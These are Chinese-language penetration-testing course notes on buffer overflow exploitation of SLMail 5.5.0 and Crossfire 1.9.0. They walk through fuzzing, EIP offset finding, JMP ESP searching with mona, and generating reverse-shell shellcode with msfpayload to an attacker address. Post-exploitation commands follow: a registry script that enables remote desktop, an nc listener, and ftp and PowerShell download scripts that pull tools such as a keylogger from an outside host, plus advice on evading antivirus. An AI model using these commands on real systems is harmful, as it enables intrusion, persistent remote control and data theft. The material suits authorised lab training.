笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程
所有漏洞的根源均来自于数据的输入,缓冲区溢出的原理在于数据与代码边界模糊,当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑暴”,从而覆盖了相邻内存区域的数据,成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果。
为更好理解缓冲区溢出原理,参考笔者转载的文章:
手把手教你栈溢出从入门到放弃(上)
手把手教你栈溢出从入门到放弃(下)
软件开发人员,或者利用社工等方式获取源码进行审查、调试。条件苛刻,一般源码难以获取。
利用逆向工程获取汇编源码进行分析,汇编代码分析工作量大,难度高。
是一种通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞的方法,通常情况下会使用一个有效的输入和添加随机误差来完成,需要借助软件调试工具(如:ImmunityDebugger)。
首先要了解一些针对缓冲区溢出的安全保护技术,因为在模糊测试过程中要绕开这些保护机制。
测试软件为’SLMail 5.5.0 Mail Server’,其PASS命令存在缓冲区溢出漏洞。基本思路:(调试工具用ImmunityDebugger)
1.利用python脚本测试 PASS 命令接收到大量数据时是否会溢出,一般到3000个字符仍未出现溢出现象则说明该处应该不存在溢出漏洞。
2.发现溢出漏洞后,判断EIP对应的地址,基本方法有:二分法、唯一字符串法。唯一字符串法可以利用metasploit脚本usr/share/metasploit-framework/tools/pattern_create.rb 3000
生成。
3.将EIP修改为Shellcode对应的内存地址,将Shellcode写入到该地址空间,程序读取EIP寄存器数值,将跳转到 shellcode 代码段并执行。
4.通过调试工具发现,发送的数据填充EIP后,紧接着会填充ESP指向的空间,因此我们将Shellcode放到ESP的位置。
5.判断ESP地址到栈底的距离,即可以存放Shellcode的大小。利用python脚本向软件发送数据测试,通过调试软件看有多少数据存放在ESP指向的空间。现代计算机系统进程的内存空间视图如图所示:
图1 进程的内存空间视图
6.因为ASLR机制,软件每次运行函数调用栈的地址是随机变化的,因此硬编码不可行,变通思路在内存中寻找地址固定的系统模块,在模块中寻找JMP ESP
指令的地址跳转,再由该指令间接跳转到 ESP,从而执行shellcode,利用mona.py脚本识别内存模块,搜索“return address”是JMP ESP指令的模块,寻找不受DEP、ASLR机制保护的系统模块 !mona modules,利用/usr/share/metasploit-framework/tools/nasm_shell.rb
将汇编指令 jmp esp 转换为二进制为FFE4,在模块中搜索 FFE4 指令!mona find -s “\xff\xe4” -m slmfc.dll
,找到指令所在地址后,将该地址填入EIP,构造Shellcode,且除去坏字符:/msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b “\x00\x0a\x0d
注:构造Shellcode时选择的payload是reverse反向连接,而不是直连bind,这样可以避开防火墙的封堵策略。
7.最后开启端口监听nc -vlp 443
,Shellcode执行结束后以 ExitProcess方式退出整个进程,将导致邮件服务崩溃,Slmail是一个基于线程的应用,适用ExitThread方式可以避免整个服务崩溃,可实现重复溢出:/msfpayload win32_reverse LHOST=192.168.20.8 EXITFUNC=thread LPORT=443 R | ./msfencode -b “\x00\x0a\x0d”
注:不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途,因此返回地址、 Shellcode、 buffer中都不能出现坏字符。发送0x00—0xff 256个字符,查找所有坏字符。利用metasploit脚本./msfencode
可以编码坏字符。
8.如果要进一步控制攻击目标,可以通过修改注册表开启远程桌面,Windows中90%以上的配置都可以通过修改注册表完成:
echo Windows Registry Editor Version 5.00>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
测试软件为’Crossfire’,1.9.0在接受入站socket连接时存在缓存区溢出漏洞。基本思路同Windows Fuzzing(调试工具用edb) ,不再赘述,需注意以下几点:
1.调试命令:edb --run /usr/games/crossfire/bin/crossfire
2.在验证缓冲区溢出时发现只有当payload固定4368字节时才能准确覆盖EIP的值,这样ESP指向的空间只剩下7个字节,不足以放下Shellcode,因此在edb中查找可以被数据完全覆盖的寄存器,找到EAX,于是变通思路ESP跳转到EAX执行Shellcode。
网上有针对各种软件已经公布漏洞的利用代码(EXP),我们可以选择可信赖的EXP源,在此基础上进行研究或修改,尤其是Shellcode不能轻易使用,有可能带有病毒,需要掌握的编程语言通常包括Python、C、C++、Ruby等。几个可靠的EXP源:
searchsploit 目标软件
来查找EXP代码。拿到EXP后,需要注意以下几点:
包括上传工具、提权、擦除攻击痕迹、安装后门等进一步操作,这里仅讨论文件上传操作,文件上传是预置木马、安装后门的基础,主要根据已经取得的目标操作系统的shell,进行文件上传操作。
首先需要了解,用nc侦听端口取得的shell是非交互shell,这样在一些需要交互的环境操作受限,比如tab无法自动补全、一些参数无法交互输入等,所以需要上传其他的远控程序,如灰鸽子。这里主要讨论如何上传这些远控程序:
1.Linux端: 配置ftp服务
登录FTP有三种方式:
apt-get install vsftpd #Linux中ftp服务有很多,这里使用vsftpd
vim /etc/vsftpd/vsftpd.conf #配置vsftpd服务,这里采用系统用户登录的方式
#添加配置
local_root=/home/ftpduser/ #系统用户登录后的主目录
#可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/
#对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容
chroot_local_user=YES #该值为YES时,所有用户只能限制在其主目录下访问
chroot_list_enable=NO #该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。
chroot_list_file=/etc/vsftpd.chroot_list
#如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录
userlist_deny=NO #该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器
userlist_enable=YES #/etc/vsftpd/user_list文件有效
echo ftpduser1 >> /etc/vsftpd/user_list #这个文件禁止或允许使用vsftpd的用户列表文件
#!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效
mkdir /home/ftpduser
useradd -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1
service vsftpd start
2.Windows端: 由于系统缺少预装的下载工具,所以需要自行配置
(1)使用ftp传输文件
因为非交互shell无法登陆ftp服务,所以编写ftp配置脚本。
echo open 192.168.1.2 21>ftp.txt
echo ftpduser1>>ftp.txt
echo passw0rd>>ftp.txt
echo bin>>ftp.txt
echo GET whoami.exe>>ftp.txt
echo GET klogger.exe>>ftp.txt
echo bye>>ftp.txt
ftp -s:ftp.txt
(2)使用powershell传输文件
echo $storageDir = $pwd
$webclient = New-Object System.Net.WebClient
$url = "http://192.168.1.2/whoami.exe"
$file = "new-exploit.exe"
$webclient.DownloadFile($url.$file)
powershell.exe -ExecutionPolicy Bypass -Nologo -NonInteractive -Noprofile -File wget.ps1
利用netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘述。
注意:上传的文件要避免被目标系统杀毒软件清除,尽量使用合法的远程控制软件,如nc。